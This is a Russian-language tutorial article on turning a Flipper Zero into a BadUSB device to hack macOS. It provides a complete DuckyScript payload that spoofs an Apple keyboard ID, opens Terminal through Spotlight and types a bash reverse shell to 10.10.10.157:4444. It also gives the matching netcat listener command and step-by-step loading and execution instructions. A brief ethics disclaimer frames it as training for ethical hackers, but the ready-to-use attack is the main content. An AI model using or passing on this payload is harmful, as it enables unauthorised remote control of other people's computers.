Вы наверное уже знаете, что такое BadUSB. Про хакерские флешки мы уже многократно рассказывали. Сегодня я познакомлю вас с еще одним хакерским устройством, которое может быть использовано в качестве BadUSB. Мы рассмотрим использование Flipper Zero, для создания полезной нагрузки, получения обратного подключения (реверс шелла) и взлома последней, обновленной версии macOS.
Использование Flipper Zero для взлома macOS
Портативный гаджет Flipper Zero — этакий мультитул хакеров и гиков, который только с виду напоминает игрушку, но он способен на многое. Используется для проверки защищенности и взлома домофонов, радиопультов, шлагбаумов, телевизоров, бесконтактных карт. Гаджет работает на базе микроконтроллера STM32WB55, представлен под лицензией GPL (с открытым исходным кодом).
Кроме всего перечисленного, устройство предлагает огромное количество различных полезных нагрузок, которые используются для взлома различных устройств.
Статья написана в образовательных целях, для обучения этичных хакеров. При демонстрации работы, были использованы собственные устройства автора. Использование подобных гаджетов без надлежащего письменного разрешения, является незаконным и будет расцениваться, как уголовное преступление. Сайт и авторы spy-soft.net не несут ответственность за ваши действия.
Полезные нагрузки BadUSB
Flipper Zero BadUSB, а также некоторые другие устройств BadUSB используют полезные нагрузки, написанные на DuckyScript. Простой скриптовый язык для скрытого выполнения команд.
Для понимания работы Duckyscript пейлоадов, рекомендую посетить официальный сайт Hak5. Там вы найдете примеры и документацию по использованию DuckScript.
Создание скрипта DuckyScript
Вы можете использовать готовый скрипт или попробовать написать свой собственный. Давайте напишем простой скрипт (полезную нагрузку), после выполнения которого мы получим реверс-шелл (удаленный доступ) macOS.
Итак, откройте любой текстовый редактор и вставьте следующий код. Я буду использовать, установленный по умолчанию в macOS, текстовый редактор TextEdit.
1 2 3 4 5 6 7 8 9 10 11 12 |
ID 05ac:021e Apple:Keyboard DELAY 1000 GUI SPACE DELAY 200 STRING terminal DELAY 200 ENTER DELAY 1000 STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 DELAY 1000 ENTER DELAY 1000 |
Рассмотрим несколько команд, которые использует наш DuckyScript.
- ID 05ac:021e Apple:Keyboard — строка сообщает macOS, что Flipper Zero является клавиатурой Apple. Если не использовать эту строку, macOS отобразит диалоговое окно «Ассистент настройки клавиатуры», которое приведет к остановке работы скрипта.
- DELAY — команда указывает операционной системе подождать некоторое время. Если не использовать эти задержки, скрипт будет работать слишком быстро и завершится ошибкой.
- GUI SPACE — нажимает клавишу Apple Command и клавишу пробела, чтобы открыть окно поиска Spotlight.
- STRING Terminal — вводит строку «Terminal» в окно поиска Spotlight.
- ENTER — нажимает клавишу ENTER или Return на клавиатуре. После нажатия клавиши ENTER, система запускает окно терминала (/Applications/Utilities/Terminal).
- STRING bash -i >& /dev/tcp/10.10.10.157/4444 0>&1 — команда вводит текст в окно терминала, которое устанавливает соединение с сервером Netcat, прослушивающим ID-адрес 10.10.10.157 и порт 4444.
Измените IP-адрес 10.10.10.157 и порт 4444 на IP-адрес и порт вашего компьютера.
Сохраните этот файл на диске с названием rev_shell_macos.txt. В каталоге badusb на Flipper Zero нет организации подкаталогов поэтому если вы используете различные полезные нагрузки для разных операционных систем, используйте понятные названия.
Установка приложения qflipper
Если вы еще не установили приложение qflipper, перейдите на официальную страницу обновления Flipper Zero и выберите установщик для своей ОС. Это страница обновления прошивки, но внизу есть ссылки для скачивания файла установки qflipper.
Установка Duckyscript на Flipper Zero
Откройте приложение qflipper и нажмите на значок папки.
Чтобы просмотреть содержимое, нажмите на иконку SD-карты.
Найдите и перетащите файл rev_shell_macos.txt, который мы создали ранее, в папку badusb.
После копирования, извлеките из компьютера Flipper Zero.
Запуск листенера
Flipper Zero BadUSB заряжен и готов к использованию. Но сначала нужно настроить на нашем компьютере (в моем случае Ubuntu) листенер для ожидания удаленного, входящего подключения.
Запустите листенер Netcat:
1 |
$ nc -nlvp 4444 |
Теперь, когда наш листенер Netcat готов и ожидает входящего соединения, можно приступить к атаке Flipper Zero BadUSB.
Запуск обратного шелла BadUSB
Откройте меню Bad USB и нажмите на кнопку Run. Пока не подключайте Flipper Zero к компьютеру. Flipper Zero сообщит, когда следует подключить устройство.
Перейдите к файлу DuckyScript, который мы скопировали ранее.
Если вы не видите этот файл, значит, вы скопировали его не в тот каталог.
Выберите rev_shell_macos и нажмите кнопку «Run».
После появления предупреждения «Connect to USB», можно подключить Flipper Zero к USB-порту iMac или MacBook и нажать кнопку «Run».
На экране можно наблюдать за ходом выполнения скрипта BadUSB. После завершения процесса, можно будет отключить Flipper Zero.
Удаленное управление компьютером macOS
Теперь у вас есть удаленный контроль над компьютером macOS. Можете использовать инструменты терминала Unix и оболочку BASH, как если бы вы сидели за физической клавиатурой iMac.
Для навигации по файловой системе и управления операционной системой можно использовать обычные команды Linux, такие, как: whoami, pwd, ls или cd(см. Использование Netcat в пентесте)
Заключение
Теперь, после того, как вы научились использовать Flipper Zero в качестве BadUSB, можете создавать свои собственные скрипты. Используйте сайт Hak5 или один из многочисленных репозиториев DuckyScript GitHub, в качестве отправной точки для ваших собственных файлов Duckyscript.
Действуйте законно и этично. Используйте этот инструмент на устройствах, которыми владеете или с разрешением владельца.
ПОЛЕЗНЫЕ ССЫЛКИ:
- BadUSB Rubber Ducky с управлением через GSM
- Как сделать USB Rubber Ducky на Digispark за 3$
- Хакерская флешка Rubber Ducky своими руками